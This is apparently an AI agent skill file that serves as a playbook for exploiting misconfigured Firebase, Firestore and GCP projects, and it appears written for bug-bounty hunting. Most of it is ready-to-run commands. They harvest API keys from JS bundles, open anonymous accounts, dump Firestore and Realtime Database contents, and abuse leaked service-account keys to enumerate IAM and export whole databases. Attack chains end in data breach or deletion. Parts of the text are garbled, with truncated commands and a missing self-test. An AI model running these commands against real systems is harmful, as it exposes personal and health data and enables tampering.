Hunt Firebase / Firestore / GCP exploitation — Firebase API key discovery in JS bundles, anonymous auth via signUp endpoint, Firestore collection enumeration with anon key, Realtime Database read/write without auth, Firebase Storage bucket listing, Firebase Hosting detection, GCP service account JSON exploitation, IAM policy enumeration from leaked SA keys. Built from field experience where Firebase API keys in JS bundles unlocked full Firestore read-access on 12+ targets including healthcare platforms and delivery apps. Use when a JS bundle, APK, or .env file reveals a Firebase API key (AIzaSy...) or when target uses firebaseio.com / firestore.googleapis.com endpoints.
Instrucciones de origen · Vista previa de solo lectura
name
hunt-firebase
description
Hunt Firebase / Firestore / GCP exploitation — Firebase API key discovery in JS bundles, anonymous auth via signUp endpoint, Firestore collection enumeration with anon key, Realtime Database read/write without auth, Firebase Storage bucket listing, Firebase Hosting detection, GCP service account JSON exploitation, IAM policy enumeration from leaked SA keys. Built from field experience where Firebase API keys in JS bundles unlocked full Firestore read-access on 12+ targets including healthcare platforms and delivery apps. Use when a JS bundle, APK, or .env file reveals a Firebase API key (AIzaSy...) or when target uses firebaseio.com / firestore.googleapis.com endpoints.
Firebase is Google's mobile/web platform. When developers embed the API key in the client (which is required by Firebase SDKs), they often forget to configure Firestore Security Rules or Realtime Database Rules, leaving all data publicly readable and writable.
Highest-value findings:
Public Firestore Database — anon key allows read/write to ALL collections → full data dump (users, messages, PII). Critical.
Public Realtime Database — {database}.firebaseio.com/.json returns all data without auth. Critical.
Firebase Storage with public read — storage bucket allows anonymous file listing and download. Critical.
Firebase signUp open — anyone can create an auth account, then use the JWT to access Firestore. High.
Service Account JSON leaked — full GCP IAM access to Firestore, Storage, Cloud Functions, IAM policy. Critical.
Firebase Hosting with config leakage — hosting reveals project ID and API key in static files.
Phase 1 — Find the Firebase Project
Firebase is identified by its API key format: AIzaSy[0-9A-Za-z_-]{35}
1.1 Search in JS Bundles
# Download the main page and its JS bundles
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" -o /tmp/index.html
grep -Eo 'src="[^"]*\.js"' /tmp/index.html | cut -d'"' -f2 | whileread js; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"done# Search for Firebase API keys in all downloaded JS
grep -rEn 'AIza[0-9A-Za-z_-]{35}' /tmp/*.js
# Search for firebaseConfig
grep -rEn 'firebaseConfig|firebase.initializeApp|apiKey|authDomain' /tmp/*.js --include="*.js"
grep -rEn /tmp/*.js --include=
curl --max-time 30 --connect-timeout 10 -sk | grep -Eo
Once you have a Firebase API key (format: AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX), you can probe the project.
2.1 Identify Firebase Project ID
# The project ID is encoded in the API key or can be found in the authDomain# Auth domain pattern: <PROJECT_ID>.firebaseapp.com
API_KEY="AIzaSy..."# Method 1: Try to sign in anonymously to get the project info
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"returnSecureToken": true}'# Response includes: idToken, localId, refreshToken, expiresIn# Method 2: Check if a known project ID worksfor project in"$TARGET""${TARGET%.*}""app-${TARGET%.*}""${TARGET//./-}"; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}""https://$project.firebaseio.com/.json")
[ "$code" != "404" ] && echo"Hit: $project.firebaseio.com (HTTP $code)"done# Method 3: Search for the project ID in the bundle alongside the key
grep -B5 -A5 "AIzaSy" /tmp/*.js 2>/dev/null
2.2 Enumerate the Firebase Project
# Once project ID is known, probe all Firebase services
PROJECT="your-firebase-project-id"
API_KEY="AIzaSy..."# Firestore REST API
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents?key=$API_KEY"# If rules are permissive -> returns all documents# Realtime Database
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?auth=$ID_TOKEN"# Firebase Storage# Two common formats:
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?key=$API_KEY"
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/$PROJECT.appspot.com"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebasestorage.app"# Firebase Hosting
curl --max-time 30 --connect-timeout 10 -skI "https://$PROJECT.firebaseapp.com"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.web.app"
Phase 3 — Firestore Database Exploitation
Firestore Security Rules control who can read/write. When misconfigured (set to true for read), the entire database is public.
3.1 List Collections (with anon key)
API_KEY="AIzaSy..."
PROJECT="your-project-id"# Step 1: Sign in anonymously
ANON_RESP=$(curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"returnSecureToken": true}')
ID_TOKEN=$(echo"$ANON_RESP" | python3 -c "import sys, json; print(json.load(sys.stdin).get('idToken', 'NO_TOKEN'))")
if [ "$ID_TOKEN" != "NO_TOKEN" ]; thenecho"[+] Anonymous auth token obtained"# Step 2: List all documents in root collection
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
docs = d.get('documents', [])
print(f'Documents: {len(docs)}')
for doc in docs[:20]:
path = doc.get('name', '').split('/')[-1]
print(f' Document: {path}')
fields = doc.get('fields', {})
for key, val in fields.items():
val_type = list(val.keys())[0] if val else 'unknown'
val_snippet = str(list(val.values())[0])[:50] if val else ''
print(f' {key}: {val_snippet}')
except Exception as e:
print(f'No data: {e}')
"elseecho"[-] Cannot obtain anonymous auth token"fi
If you find a Firebase/GCP service account JSON file:
# The file looks like:# {# "type": "service_account",# "project_id": "...",# "private_key_id": "...",# "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",# "client_email": "...@....gserviceaccount.com",# "client_id": "...",# "auth_uri": "https://accounts.google.com/o/oauth2/auth",# "token_uri": "https://oauth2.googleapis.com/token"# }# Save it and authenticate with gcloudecho'{"type": "service_account", ...}' > /tmp/sa-key.json
# Authenticate
gcloud auth activate-service-account --key-file=/tmp/sa-key.json
# List all accessible resources
gcloud projects get-iam-policy $PROJECT_ID
gcloud iam service-accounts list
gcloud firestore databases list
gcloud storage buckets list
gcloud functions list
gcloud run services list
# Firestore read using the service account
gcloud firestore export gs://$BUCKET/export/ # Export entire Firestore# Access Firestore REST API with JWT# The service account can generate its own OAuth tokens
OAUTH_TOKEN=$(gcloud auth print-access-token)
# Use token for Firestore API
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents" \
-H "Authorization: Bearer $OAUTH_TOKEN"# IAM exploration
curl --max-time 30 --connect-timeout 10 -sk "https://cloudresourcemanager.googleapis.com/v1/projects/$PROJECT_ID:getIamPolicy" \
-H "Authorization: Bearer $OAUTH_TOKEN" \
-X POST -H "Content-Type: application/json" -d '{}'
Phase 8 — Attack Chains
Chain A: API Key in JS -> Anon Auth -> Firestore Dump
JS bundle contains Firebase API key (AIzaSy...) ->
Sign in anonymously (accounts:signUp) ->
Get ID token ->
List Firestore collections ->
Dump ALL documents -> Data breach
Chain B: API Key in JS -> Open SignUp -> Auth -> Write Access
Firebase config found in JS ->
Email/password signUp enabled (not just anon) ->
Anyone creates accounts ->
Access Firestore with credentials ->
Write malicious data or delete collections
Chain C: Service Account JSON -> GCP Full Access
SA key found in .env or leaked repo ->
gcloud auth activate-service-account ->
Get IAM policy ->
List all resources ->
Export Firestore, access Storage, invoke Cloud Functions
Validation Severity
Finding
Severity
Firestore public read (collections with PII dumpable)
Critical
Firestore public write (can create/delete documents)
Critical
Realtime Database public read (full .json dump)
Critical
Firebase Storage public list/download
High
Open signUp (anyone can create accounts)
High
Service Account JSON exposed
Critical
API key found (with no further access)
Low-Medium
Firebase Hosting static site exposed
Informational
Firebase project ID exposed (no key)
Informational
Common Firebase Finding Formats
# Quick test: does the target use Firebase?
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'AIza[0-9A-Za-z_-]{35}'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'firebaseio\.com|firestore\.googleapis|firebaseapp\.com'# Check Google dorks for Firebase# site:target.com "firebase"# site:target.com "AIzaSy" filetype:js# site:target.com "firebaseConfig"
Verification
Run this self-test to confirm firebase hunting readiness:
Skill integrity — confirm the skill file is readable and well-formed:
All 3 tests verify the skill is properly structured and ready for use.
Pitfalls
Public Firebase config without sensitive data — the Firebase config object is intentionally public. Only report when the database/storage is writable or contains PII.
Realtime DB rules test without write — reading .json is recon. Writing to .json and having it persist proves misconfiguration.
Firestore public read — test /documents/users for PII, not /documents/public_config.
Storage bucket listing without object read — listable buckets are informational. Need readable objects with sensitive content.
API key scope testing — Firebase API keys are not secrets. They're identifiers. Test what the key grants access to, not just that it exists.
